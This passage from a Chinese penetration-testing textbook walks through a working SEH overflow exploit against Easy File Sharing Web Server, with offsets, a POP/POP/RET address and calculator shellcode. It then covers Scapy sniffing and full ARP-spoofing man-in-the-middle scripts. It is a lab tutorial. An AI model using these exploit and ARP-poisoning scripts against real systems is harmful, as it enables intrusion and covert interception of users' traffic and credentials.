     requests.post('http://'+host+':'+port+'/forum.ghp',cookies=cookies,data=data)

大部分Web程序的登录都可以使用如上所示的代码，区别在于向目标所发送的数据包不同，这里需要在Kali Linux 2中使用一个抓包软件来观察登录数据包的内容，这一次仍然使用Wireshark。启动之后的Wireshark界面如图7-8所示，这里选择使用eth0网卡。

然后在Kali Linux 2中打开浏览器，访问http://192.168.157.129，在图7-7所示的登录栏中用户名处输入“123”，密码处输入“abcdefg”，然后单击Login!按钮。

回到Wireshark界面，首先使用显示过滤器“http”，过滤掉无用的流量，找到刚刚登录产生的数据包，如图7-9所示。

图7-8　Wireshark界面

图7-9　在Wireshark中显示的登录数据包

找到登录数据包之后，不必急于查看里面的内容，这样看到的往往是不完整的，在该数据包上右击，然后选择“Follow | HTTP”，可以看到这次通信的全部内容，如图7-10所示。

图7-10　查看登录数据包的全部内容

Wireshark的操作比较复杂，限于篇幅这里不再详细介绍，有需要的读者可以参考《Wireshark网络分析从入门到实践》一书。从图7-10中可以看到，登录数据包中使用的提交方法为POST，提交用户名的地方有两处：一处在cookie中，另一处在最后。为了简单起见，使用下面的Python程序模拟整个登录过程。

     import requests
     host = "192.168.157.129"
     port = 80
     cookies = dict(SESSIONID='14804', UserID=buff,PassWD='abcdefg')
     data=dict(frmLogin=True,frmUserName='123',frmUserPass='abcdefg',login='Login')
     requests.post('http://'+host+':'+str(port)+'/forum.ghp',cookies=cookies,data=data)

这段代码可以实现对Easy File Sharing Web Server的登录。接下来测试一下Easy File Sharing Web Server是否存在溢出的漏洞问题。方法很简单，向目标程序发送一个足够长的用户名，查看目标程序的反应。这里使用pattern_create来产生10000个字符。

     kali@kali:/usr/share/metasploit-framework/tools/exploit$ ./pattern_create.rb -l 10000

执行结果如图7-11所示。

图7-11　产生的10000个字符

将产生的10000个字符粘贴到程序的buff处，修改的程序为：

     import requests
     host = "192.168.157.129"
     port = 80
     buff="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3A
     c4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af
     0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah
     6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2
     Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8A
     m9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap
     5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1
     As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7
     Au8Au9Av0…………1Mv2M"                          #pattern_create.rb产生的10000个字符
     cookies = dict(SESSIONID='14804', UserID=buff,PassWD='abcdefg')
     data=dict(frmLogin=True,frmUserName='123',frmUserPass='abcdefg',login='Login')
     requests.post('http://'+host+':'+str(port)+'/forum.ghp',cookies=cookies,data=
     data)

然后保存这个数据包为SEHattack.py，执行之后，切换到目标主机，可以看到目标程序崩溃，如图7-12所示。

图7-12　目标程序崩溃

可以看到目标程序Easy File Sharing Web Server已经停止工作，说明目标程序可能存在溢出漏洞。接下来切换到目标程序所在的计算机，并在这台计算机上对其目标程序进行调试。首先重新启动Easy File Sharing Web Server，然后启动Immunity Debugger，将Immunity Debugger附加到进程上，如图7-13所示。

图7-13　将Immunity Debugger附加到进程上

在进程中找到Easy File Sharing Web Server，然后单击Attach按钮，如图7-14所示。

图7-14　可以附加的进程列表

图7-15　单击“运行”按钮

在完成附加操作之后，可以在调试器Immunity Debugger中观察目标程序的行为。现在按照前面给出的方法，向目标程序发送一个长达10000个字符的用户名，然后在调试器中单击“运行”按钮，图7-15中向右的小箭头。

接下来是最关键的步骤，选择菜单栏的“View”|“SEH chain”命令，如图7-16所示。

在弹出的窗口中可以看到被之前提供的数据所修改的catch块和下一条SEH记录的地址，如图7-17所示。

图7-16　选择“SEH chain”命令

图7-17　下一条SEH记录的地址

其中46336646就是到下一条SEH记录地址的偏移量。这里还需要用到Metasploit下的另一个工具pattern_offset，用于计算下一条SEH记录地址的偏移量，如图7-18所示。

图7-18　下一条SEH记录地址的偏移量

从图7-18中可以看到下一条SEH记录地址的偏移量为4059。

由图7-19可以看出catch块的偏移量为4063。

图7-19　catch块的偏移量

7.2.2　查找POP/POP/RET地址

正如之前所讨论的，需要通过POP/POP/RET指令的地址来载入下一条SEH记录的地址，并跳转到攻击载荷。这需要从一个外部的DLL文件载入一个地址，不过现在的操作系统会使用SafeSEH保护机制来编译大部分的DLL，而这里需要做的就是找到一个没有被SafeSEH保护的DLL模块的POP/POP/RET指令地址。这里仍然需要用到mona.py脚本。

mona.py脚本在第6章使用过，现在运行!mona module命令启动Mona（Immunity Debugger最下面有个长条的文本框，在这里输入命令），如图7-20所示。

图7-20　运行!mona module命令启动Mona

要查找POP/POP/RET指令，需要使用命令:! mona rop。这条命令执行的结果是在C:\Program Files\ImmunityInc\Immunity Debugger目录中生成文件rop.txt。使用UltraISO打开这个文件，如图7-21所示。

图7-21　使用UltraISO打开rop.txt文件

注意，虽然文件中列出很多DLL文件，但是并非所有的DLL文件都可以使用，只有不受SafeSEH机制保护的才可以使用，也就是图中SafeSEH一列值为False的。另外，要在这些文件中查找POP/POP/RET指令的相关地址。

从图7-21中可以看出，第一个ImageLoad.dll就是一个没有使用SafeSEH（图中的SafeSEH列值为False）的DLL文件。现在需要做的就是在这个文件中找到一条POP/POP/RET指令及其地址。Immunity Debugger中的mona.py脚本已经方便地找出了这些POP/POP/RET指令，如图7-22所示。

图7-22　找到的POP/POP/RET指令

在图7-22中选择0x10017743作为要使用的POP/POP/RET的地址。

现在用来编写渗透模块的重要组件已经有了两个：一个是偏移量；另一个是用来载入catch块的地址，也就是POP/POP/RET指令地址。

最主要的两个部分已经完成，剩下的工作还需要完成空指令滑行、坏字符去除和短跳转指令。

其中，空指令滑行是指在POP/POP/RET的地址和shellcode之间添加一些NOP（空指令），这样做的目的是保证shellcode顺利执行。添加的NOP的数量一般可以通过测试来确认，例如10、20、30、40、50等。这个数字太小会导致程序崩溃，数字太大会造成死机。坏字符去除的原因和方法在第6章中已经介绍过。

现在就差一条短跳转指令——用来载入下一条SEH记录的地址，并帮助程序跳转到shellcode。短跳转指令的编码为\xeb\x06，为了补齐，需要添加两个\x90（也就是NOP）。

7.3　编写渗透模块

如果在学习Python之前有过使用其他语言的经历，一定会发现每种语言中定义的数据类型都不相同，相比起其他语言复杂的数据类型，Python要简单得多。

本实验中Easy File Sharing Web Server所在主机的IP地址为192.168.169.133，端口为80。

     host ="192.168.169.133"
     port = 80

接下来要定义的是发送给目标服务器的数据，其中包括如下几个部分。

□　导致目标服务溢出的字符（4059个A）。

     payload =  "A"*4059

□　实现跳转的指令（\xeb\x06\x90\x90）。

     buff += "\xeb\x06\x90\x90"

□　POP/POP/RET的地址。

     buff += "\x43\x77\x01\x10"

□　实现空指令滑行的代码如下。

     payload += "\x90"*40

□　用来在目标主机上实现特定功能的代码，互联网上这类资源比较多，另外，Kali Linux 2中也提供了这类工具，后面会详细介绍。下面代码的作用是启动Windows环境下的计算器程序。需要注意的是，第6章中介绍了坏字符的确定方法，在shellcode中要避免坏字符，这里面的坏字符为\x00\x3b。

     "\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
     "\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
     "\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
     "\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
     "\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
     "\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
     "\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
     "\x1c\x39\xbd"

□　发往目标主机的数据包的格式可以参考7.2节中的内容。

     cookies = dict(SESSIONID='14804', UserID=buff,PassWD='abcdefg')
     data=dict(frmLogin=True,frmUserName='123',frmUserPass='abcdefg',login='Login')

□　使用Socket发送这个数据包。

     requests.post('http://'+host+':'+str(port)+'/forum.ghp',cookies=cookies,
     data=data)

完整的程序如下所示：

     import requests
     host = "192.168.157.129"
     port = 80
     shellcode = (
     "\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
     "\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
     "\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
     "\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
     "\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
     "\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
     "\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
     "\x1c\x39\xbd"
     )#这是一段可以在Windows 7系统中启动计算器的代码
     buff=  "A"*4059
     buff += "\xeb\x06\x90\x90"
     buff += "\x43\x77\x01\x10"
     buff += "\x90"*40
     buff += shellcode
     buff += "C"*50
     cookies = dict(SESSIONID='14804', UserID=buff,PassWD='abcdefg')
     data=dict(frmLogin=True,frmUserName='123',frmUserPass='abcdefg',login='Login')
     requests.post('http://'+host+':'+str(port)+'/forum.ghp',cookies=cookies,
     data=data)

执行这段代码之后，在目标计算机上查看反应，结果如图7-23所示。

图7-23　目标程序崩溃并弹出一个计算器程序窗口

7.4　小结

本章介绍了如何使用Python编写高级的渗透程序，这种方法要比直接溢出的应用性更广，几乎可以应用在所有的操作系统中。另外也可以访问exploit-db网站，在这个网站可以找到世界上大多数漏洞的渗透模块，而且这些模块可以直接运行。在最后使用Python编写了一段可以强迫目标系统自动运行计算器程序的代码，可以像第6章最后那样使用Metasploit来辅助完成一次渗透攻击。如果之前没有Metasploit的使用经验，那么可以参考《精通Metasploit渗透测试（第3版）》一书。

第8章　网络嗅探与欺骗

无论什么样的漏洞渗透程序，在网络中都是以数据包的形式传输的，因此，如果能够对网络中的数据包进行分析，就可以深入地掌握渗透的原理。另外，很多网络攻击的方法也都是利用发送精心构造的数据包来完成的。例如常见的ARP欺骗，利用这种欺骗方式，黑客可以截获受害者计算机与外部通信的全部数据，例如受害者登录使用的用户名与密码、发送的邮件等。

在Kali Linux 2的启动界面中就清晰地展示了一条提示“The quieter you are the more you are able to hear”。设想这样的场景，一个黑客静静地潜伏在你的身边，他手中的设备将每一个经过你的计算机的网络数据都复制了一份。互联网中的大部分数据都没有采用加密的方式传输，这也就意味着，你在网络上的一举一动都在别人的监视之下。例如，使用HTTP、FTP或者Telnet所传输的数据都是明文的，一旦数据包被监听，那么里面的信息也直接会泄露。而这一切并不难做到，任何一个有经验的黑客都可以轻而易举地通过抓包工具来捕获这些信息，从而突破网络，窃取网络中的秘密。网络中最著名的一种欺骗攻击被称为“中间人攻击”。在这种攻击方式中，攻击者会同时欺骗设备A和设备B，攻击者会设法让设备A误认为攻击者的计算机是设备B，同时还会设法让设备B误认为攻击者的计算机是设备A，从而将设备A和设备B之间的通信全都经过攻击者的设备。

当然，除了黑客会使用这些抓包工具之外，网络安全人员也会使用这些抓包工具，利用这些工具也可以发现黑客的不法入侵行为。

本章将就如下两点技术进行讨论。

□　网络数据的嗅探。Kali Linux 2中提供了很多可以用来实现网络数据嗅探的工具，其实这些工具都是基于相同的原理。所有通过网卡的网络数据都是可以被读取的。这些网络数据按照各种各样的协议组织到一起。所以只要掌握了各种协议的格式，就可以分析出这些数据所表示的意义。当然，目前互联网上所使用的协议数目众多，而且还在不断增长中（也许将来有一天，互联网中所使用的某种协议就是由你设计的），在学习的时候，只需要掌握这些协议中最为重要的部分即可。

□　网络数据的欺骗。在互联网创建之初，提供的服务和使用的人员都很少，因此无须考虑安全方面的问题。所以作为互联网协议基础的几个重要协议都没有使用安全措施。但是随着互联网的规模越来越大，使用者越来越多，一些抱有其他想法的人也开始使用互联网了。他们开始利用互联网的漏洞篡改网络数据来达到自己的目的，这些人一开始可能只是出于恶作剧或者炫耀的目的，渐渐地发展成为一种破坏甚至敛财的手段。例如，我们都十分了解的ICMP，也就是当主机A向主机B发送一个ICMP请求的时候，主机B会向主机A回复一个ICMP回应。如果伪造一个由主机A发出的ICMP请求，并将这个数据包发送给很多主机，那么这些主机会向主机A发回一个ICMP回应。主机A不得不使用大量的资源来处理这些回应。

如果想要彻底了解一个网络，最好的办法就是对网络中的流量进行嗅探。在本章中将会编写几个嗅探工具，这些嗅探工具可以用来窃取网络中明文传输的密码，监视网络中的数据流向，甚至可以收集远程登录所使用的NTLM数据包（这个数据包中包含登录用的用户名和使用Hash加密的密码）。

8.1　网络数据嗅探

8.1.1　编写一个网络嗅探工具

Scapy中提供了专门用来捕获数据包的函数sniff()，这个函数的功能十分强大，首先使用函数help()来查看一下它的使用方法，如图8-1所示。

函数sniff()中可以使用多个参数，下面先来了解其中几个比较重要参数的含义：

□　count：表示要捕获数据包的数量，默认值为0，表示不限制数量。

□　store：表示是否要保存捕获到的数据包，默认值为1。

□　prn：这是一个函数，应用在每一个捕获到的数据包上。如果这个函数有返回值，将会显示出来，默认值为空。

□　iface：表示要使用的网卡或者网卡列表。

图8-1　函数sniff()的用法

另外，由于直接使用这个函数会捕获到整个网络的通信，这样会导致堆积大量数据。如果不加以过滤，将会很难从其中找到需要的数据包。因此，sniff()还支持过滤器，这个过滤器使用了一种功能非常强大的过滤语言——“伯克利包过滤”规则，这个规则简称为BPF（Berkeley Packet Filter），利用它可以确定该获取和检查哪些流量，忽略哪些流量。BPF可以通过比较各个层协议中数据字段值的方法对流量进行过滤。

BPF的主要特点是使用一种名为“原语”的方法来完成对网络数据包的描述，例如可以使用“host”描述主机，使用“port”描述端口，同时也支持“与”“或”“非”等逻辑运算，可以限定的内容包括地址、协议等。

使用这种语法创建的过滤器称为BPF表达式，每个表达式包含一个或多个原语。每个原语中又包含一个或多个限定词，主要有3个限定词：Type、Dir和Proto。

□　Type用来规定使用名字或数字代表的类型，例如host、net和port等。

□　Dir用来规定流量的方向，例如src、dst和src and dst等。

□　Proto用来规定匹配的协议，例如ip、tcp和arp等。

“host 192.168.169.133”就是一个最为常见的过滤器，它用来过滤除本机和192.168.169.133以外的所有流量。如果希望再缩小范围，例如只捕获TCP类型的流量，就可以使用“与”运算符，如“host 192.168.169.133 &&tcp”。

下面给出一些常见的过滤器：

□　只捕获与网络中某一个IP的主机进行交互的流量，如“host 192.168.1.1”。

□　只捕获与网络中某一个MAC地址的主机交互的流量，如“ether host 00-1a-a0-52-e2-a0”。

□　只捕获来自网络中某一个IP的主机的流量，如“src host 192.168.1.1”。

□　只捕获去往网络中某一个IP的主机的流量，如“dst host 192.168.1.1”，此处的host也可以省略。

□　只捕获23端口的流量，如“port 23”。

□　捕获除了23端口以外的流量，如“!23”。

□　只捕获目的端口为80的流量，如“dst port 80”。

□　只捕获ICMP流量，如“icmp”。

□　只捕获type为3，code为0的ICMP流量，如“icmp[0] = 3 &&icmp[1] = 0”。

图8-2展示的就是使用sniff()来捕获一些数据包并显示，例如源地址为192.168.169.133，端口为80的TCP报文。

图8-2　使用sniff()捕获并过滤数据包

这时Scapy就会按照要求开始捕获所需要的数据包。

如果希望即时地显示捕获的数据包，可以使用prn函数选项，函数的内容为prn=lambda x:x.summary()，在sniff()中加入这个选项，如图8-3所示。

图8-3　使用了函数的sniff()

利用prn就可以不断地输出捕获的数据包的内容。另外，这个函数可以实现很多功能，例如输出其中的某一个选项。例如使用x[IP].src输出IP报文的目的地址，如图8-4所示。

图8-4　使用x[IP].src输出IP报文的目的地址

另外，也可以定义一个回调函数，例如输出如下数据包：

     def Callback（packet）：
         packet.show()

然后在sniff()中调用这个函数：

     sniff(prn=Callback)

这些捕获到的数据包可以使用wrpcap函数保存，保存的格式有很多种，目前通用的格式为.pcap。例如现在捕获5个数据包并保存起来的代码如下：

     >>>packet=sniff(count=5)
     >>>wrpcap("demo.pcap",packet)

接下来编写一个完整的数据嗅探工具，它可以捕获和特定主机通信的1000个数据包，并保存到catch.pcap数据包中。代码如下：

     from scapy.all import *
     ip="192.168.1.105"
     #这里ip的值尽量使用本机的IP地址，保证可以快速捕获到5个数据包
     def Callback(packet):
        packet.show()
     packets=sniff(filter="host "+ip,prn=Callback,count=5)
     wrpcap("catch.pcap",packets)

执行catchPackets.py的结果如图8-5所示。

保存的catch.pcap数据包如图8-6所示。

图8-5　执行catchPackets.py的结果

图8-6　保存的catch.pcap数据包

8.1.2　调用Wireshark查看数据包

前面已经介绍了如何使用Scapy捕获这些数据包，但是在Scapy中查看这些数据包可能有些杂乱。可以通过更加专业的工具来查看这些数据包，首先使用Scapy产生一个数据包：

     >>>packets = IP(dst="www.baidu.com")/ICMP()

然后将这个数据包通过一个极为优秀的网络分析工具Wireshark打开。

     >>>wireshark(packets)

图8-7展示的是Wireshark的工作界面。

图8-7　Wireshark的工作界面

启动之后的Wireshark可以分成3个面板：1是数据包列表；2是数据包详细信息；3是数据包原始信息。这3个面板相互关联，当在数据包列表面板中选中一个数据包之后，在数据包信息面板中可以查看这个数据包的详细信息，在数据包原始信息面板中可以看到这个数据包的原始信息。

一般而言，数据包详细信息中包含的内容是我们最关心的。一个数据包通常需要使用多个协议，这些协议一层层地将要传输的数据包装起来。例如，图8-8中展示了刚刚产生的数据包。

图8-8　数据包的层次

图8-8中的数据包一共分成3层，依次为Frame、IP、ICMP，每一层前面都有一个向右的黑色三角形图标，单击图标可以展开数据包这一层的详细信息。例如查看数据包中ICMP的详细信息可以单击前面的三角形图标，如图8-9所示。

图8-9　数据包中ICMP的详细信息

8.2　ARP的原理与缺陷

在前面使用ARP技术对目标主机状态进行扫描的时候已经详细介绍了ARP，现在简单回顾一下它。之所以这里特别提到这个协议，是因为目前网络中大部分的监听和欺骗技术都源于这个协议。

ARP的主要原因是以太网中使用的设备交换机并不能识别IP地址，只能识别硬件地址。在交换机中维护着一个内容可寻址寄存器（Coment Addressable Memory，CAM）。交换机每一个端口所连接设备的硬件地址如下所示。

     Mac Address        Ports
     11:11:11:11:11:11  Fa0/1
     22:22:22:22:22:22  Fa0/2

当交换机收到一个发往特定硬件地址的数据包（例如11:11:11:11:11:11）时，首先查找CAM表中是否有对应的表项，如果有就将数据包发往这个端口（上例中就是Fa0/1）。

既然软件中使用的都是IP地址，而交换机使用的是硬件地址，那么这个过程中一定发生了一个IP地址和硬件地址的转换过程，而这个转换过程是在什么时候发生的呢？

这个转换过程发生在软件将数据包交给交换机之前，在每一台支持ARP的主机中都有一个ARP表，这个表中保存了已知的IP地址与硬件地址的对应关系，如图8-10所示。

图8-10　ARP表的内容

这里给出了一个Windows操作系统中的ARP表，查看这个表的命令为“arp -a”，这个表分为3列，分别是IP地址、物理地址（即硬件地址）和类型。

例如，如果需要和192.168.1.1通信，首先查找表项，当找到这一项之后，会将这个数据包添加一个硬件地址dc-fe-18-58-8c-3b。这样交给交换机之后，就可以由它发送到目的地。

如果需要和192.168.1.2通信，首先查找表项，但是找不到对应的表项，所以此时不知道主机192.168.1.2的物理地址，这时就需要使用ARP。主机首先发出一个ARP请求，内容大概就是“注意了，我的IP地址是192.168.1.100，我的物理地址是22:22:22:22:22:22，IP地址为192.168.1.2的主机在吗？我需要和你进行通信，请告诉我你的物理地址，收到请回答”，这个数据包以广播的形式发送给网段中的所有设备，不过只有目标主机会给出回应，目标主机会首先将192.168.1.100和22:22:22:22:22:22作为新的表项添加到ARP表中。目标主机的回应包大概就是“嗨，我就是那个IP地址为192.168.1.2的主机，我的物理地址是33:33:33:33:33:33”。主机在解析完成后就会将这个表项添加到自己的ARP表中。

但是这个协议存在一个重大缺陷，就是这个过程并没任何的认证机制，也就是说，如果一台主机收到ARP请求数据包，形如“注意了，我的IP地址是192.168.1.100，我的物理地址是22:22:22:22:22:22，IP地址为192.168.1.2的主机在吗？我需要和你进行通信，请告诉我你的物理地址，收到请回答”的数据包，并没有对这个数据包进行任何真伪的判断，无论这个数据包是否真的来自192.168.1.100，都会将其添加到ARP表中。因此黑客可能会利用这个漏洞来冒充主机。

8.3　ARP欺骗的原理

现在来演示一次ARP欺骗的过程。这次欺骗中实现了对目标主机与外部通信的监听。在实例中，所使用的主机Kali Linux 2中的网络配置如下：

□　IP地址：192.168.169.130。

□　硬件地址：00:0c:29:12:dd:23。

□　网关：192.168.169.2。

要欺骗的目标主机的网络配置如下：

□　IP地址：192.168.169.133。

□　硬件地址：00:0c:29:2D:7F:89。

□　网关：192.168.169.2。

网关的信息如下：

□　IP地址：192.168.169.2。

□　硬件地址：00:50:56:f5:3e:bb。

在正常情况下，查看一下目标主机的ARP表，如图8-11所示。

图8-11　目标主机的ARP表

这时目标主机没有受到任何攻击，所以ARP表中的信息是正确的，当目标主机上程序要通信的时候，例如访问外网地址www.163.com的时候，会首先将数据包交给网关，再由网关通过各种路由协议送到www.163.com。

设置的网关地址为192.168.169.2，按照ARP表中的对应硬件地址为00:50:56:f5:3e:bb，这样所有的数据包都发往这个硬件地址。

现在只需要想办法将目标主机的ARP表中的192.168.169.2表项修改了即可，修改的方法很简单，因为ARP中规定，主机收到一个ARP请求之后，不会判断这个请求的真伪，直接将请求中的IP地址和硬件地址添加到ARP表中。如果之前有了相同IP地址的表项，就对其修改，这种方式被称为动态ARP表。

接下来使用一个工具来演示这个过程。Kali Linux 2中提供了很多可以实现网络欺骗的工具，首先以其中最为典型的arpspoof来演示一下。arpspoof是Dsniff工具集的一个组件。需要先安装Dsniff，在Kali Linux 2中打开一个终端，执行下面命令：

     kali@kali:~$ sudo apt-get install dsniff

安装成功之后，有时需要重启才能使用这个工具集。输入sudo arpspoof就可以启动这个工具，如图8-12所示。

图8-12　在终端中启动arpspoof

这个工具的使用格式为：

     arpspoof  [-i指定使用的网卡] [-t 要欺骗的目标主机] [-r] 要伪装成的主机

现在主机IP地址为192.168.169.130，要欺骗的目标主机IP地址为192.168.169.133。现在这个网络的网关是192.168.169.2，所有主机与外部的通信都是通过这一台主机完成，所以只需要伪装成网关，就可以截获所有的数据。现在的实验中所涉及的主机包括以下各项。

□　攻击者：192.168.169.130。

□　被欺骗主机：192.168.169.133。

□　默认网关：192.168.169.2。

下面使用arpspoof来完成一次网络欺骗。

     kali@kali:~$ sudo arpspoof -i eth0 -t 192.168.169.133 192.168.169.2

执行过程如图8-13所示。

图8-13　正在进行攻击的arpspoof

现在受到欺骗的主机192.168.169.133会把192.168.169.130当作网关，从而把所有的数据都发送到这台主机。在主机192.168.169.133上查看ARP表就可以发现，此时192.168.169.2与192.168.169.133的MAC地址是相同的，如图8-14所示。

图8-14　被欺骗主机的ARP表

现在arpspoof完成了对目标主机的欺骗任务，可以截获目标主机发往网关的数据包。但是，这里有两个问题，第一个问题，arpspoof仅仅会截获这些数据包，并不能查看这些数据包，所以还需要使用专门查看数据包的工具，例如，在Kali Linux 2中打开Wireshark，就可以看到由192.168.169.133所发送的数据包，如图8-15所示。

图8-15　Wireshark截获的数据包

第二个问题，主机也不会再将这些数据包转发到网关，这样将会导致目标主机无法正常上网，所以需要在主机上开启转发功能。首先打开一个终端，开启的方法如下所示：

     kali@kali:~$ sudo -i
     root@kali:~# echo 1 >> /proc/sys/net/ipv4/ip_forward

这样就可以将截获的数据包再转发出去，被欺骗的主机仍然可以正常上网而无法察觉受到攻击。

8.4　中间人欺骗

现在，使用Python语言来编写一个能实现ARP欺骗功能的程序。仍然以8.3节中的例子进行这个实验，这个程序的核心原理是构造一个如下的数据包：

□　源IP地址：192.168.169.2（也就是网关的IP地址）。

□　源硬件地址：00:0c:29:12:dd:23（也就是Kali Linux 2虚拟机的硬件地址）。

□　目标IP地址：192.168.169.133（要欺骗主机的IP地址）。

□　目标硬件地址：00:0c:29:2D:7F:89。

□　ARP类型：request。

仍然使用Scapy库来完成这个任务。首先在终端中输入Scapy，进入Scapy命令行。在命令行中再来看一下ARP数据包的格式，如图8-16所示。

图8-16　ARP数据包的格式

这里面需要设置的值主要有3个：op、psrc和pdst。其中，op对应的是ARP类型，默认值已经是1，就是ARP请求，无须改变；psrc的值最关键，psrc对应前面的源IP地址，这里设置为192.168.169.2；pdst的值设置为192.168.169.133。代码如下：

     >>>gatewayIP="192.168.169.2"
     >>>victimIP="192.168.169.133"

另外需要使用Ether层将这个数据包发送出去。Ether数据包的格式如图8-17所示。

图8-17　Ether数据包的格式

这一层只有3个参数，dst是目的硬件地址，src是源硬件地址，dst填写00:0c:29:2D:7F:89，而src填写的是Kali Linux 2的硬件地址00:0c:29:12:dd:23：

     >>>srcMAC="00:0c:29:12:dd:23"
     >>>dstMAC="00:0c:29:2D:7F:89"

下面构造并发送这个数据包：

     >>>sendp( Ether(dst=dstMAC，src=srcMAC)/ARP( psrc=gatewayIP，pdst=victimIP)

需要注意的是，即使不为Ether中的dst和src赋值，系统其实也会自动将src的值设置为使用Kali Linux 2主机的硬件地址，并根据目的IP的值填写，也就是下面的写法和之前是一样的：

     >>>sendp(Ether()/ARP(psrc=gatewayIP,pdst=victimIP))

成功发送这个数据包之后，接下来查看一下被攻击计算机的ARP表，如图8-18所示。

图8-18　被攻击计算机的ARP缓存表

现在编写一个完整的ARP欺骗程序。

     import time
     from scapy.all import sendp,ARP,Ether
     victimIP="192.168.169.133"
     gatewayIP="192.168.169.2"
     packet=Ether()/ARP(psrc=gatewayIP,pdst=victimIP)
     while 1:
        sendp(packet)
        time.sleep(10)
     #使用time来延迟运行
        packet.show()

将参数设置为192.168.169.133和192.168.169.2，执行结果如图8-19所示。

在目标主机192.168.169.133中查看ARP表，可以看到这时ARP表已经受到欺骗，192.168.169.2和192.168.169.130对应的硬件地址都变成00:0c:29:12:dd:23，如图8-20所示。

图8-19　ARP欺骗程序执行的结果

图8-20　受到欺骗的ARP缓存表

也可以将这个程序再完善一下，例如加入8.1节中讲到的网络嗅探功能，同时欺骗受害者主机和网关，将硬件地址改为自动获取等。首先编写一个能获取目标硬件地址的函数。

Scapy中有一个getmacbyip()函数，这个函数的作用是给出指定IP地址主机的硬件地址。在Python中使用这个函数获取192.168.169.133的硬件地址，整个过程如图8-21所示。

图8-21　获取192.168.169.133的硬件地址

如果要开始的是一次中间人欺骗，那么需要同时对目标主机和网关进行欺骗。本来目标主机与网关之间的过程如图8-22所示。

图8-22　正常的通信过程

而中间人欺骗的原理就是要让目标主机误以为Kali Linux 2是网关，同时让网关误以为Kali Linux 2是目标主机，这样两者之间的通信方式就变成如图8-23所示的形式。

图8-23　被监听的通信过程

实现这一点就需要同时向目标主机和网关发送欺骗数据包，用来欺骗目标主机的数据包如下：

     attackTarget=Ether()/ARP(psrc=gatewayIP,pdst=victimIP)

用来欺骗网关的数据包如下：

     attackGateway= Ether()/ARP(psrc= victimIP,pdst= gatewayIP)

因为ARP表中表项都有生命周期，所以需要不断地对两台主机进行欺骗，这里使用循环发送来实现这个功能。sendp本身就有循环发送的功能，使用inter指定间隔时间，使用loop=1来实现循环发送。

     sendp(attackTarget, inter=1, loop=1)

接下来编写完整的程序：

     from scapy.all import sendp, ARP, Ether
     victimIP="192.168.169.133"
     gatewayIP="192.168.169.2"
     attackTarget=Ether()/ARP(psrc=gatewayIP,pdst=victimIP)
     attackGateway= Ether()/ARP(psrc=victimIP,pdst=gatewayIP)
     sendp(attackTarget, inter=1, loop=1)
     sendp(attackGateway, inter=1, loop=1)

完成这个程序，将这个程序以ARPPoison.py为名保存起来。本次要攻击的目标地址为192.168.169.133，网关为192.168.169.2，执行之后在目标主机上执行“ping 192.168.169.2”，执行的结果是“请求超时”。另外，可以在192.168.169.130上启动Wireshark，将过滤器设置为icmp，如图8-24所示。

图8-24　将过滤器设置为icmp

查看捕获的192.168.169.133上的通信数据，如图8-25所示。

图8-25　捕获到本来只有192.168.169.133才能收到的通信

可以看到在Kali Linux 2上截获了192.68.169.133发送给192.168.169.2的数据包，其实这个数据包到了Kali Linux 2虚拟机上，这一点通过Ethernet层的Destination可以看出来。

但是，这里面存在一个很明显的问题，即192.68.169.133发出去的数据包都没有得到回应，这是因为Kali Linux 2并没有将这些数据包转发到192.168.169.2上，所以需要在主机上开启转发功能。首先打开一个终端，开启的方法如下所示：

     kali@kali:~$ sudo -i
     root@kali:~# echo 1 >> /proc/sys/net/ipv4/ip_forward

这样就可以将截获的数据包再转发出去，被欺骗的主机仍然可以正常上网而无法察觉受到攻击。

例如，现在在目标主机上执行“ping 192.168.169.2”命令，如图8-26所示。

图8-26　在目标主机上执行“ping 192.168.169.2”命令

此时可以使用Wireshark截获其他主机的数据包。可以看到Kali Linux 2虚拟机接收到这两台主机之间的通信，如图8-27所示。

图8-27　捕获到的通信

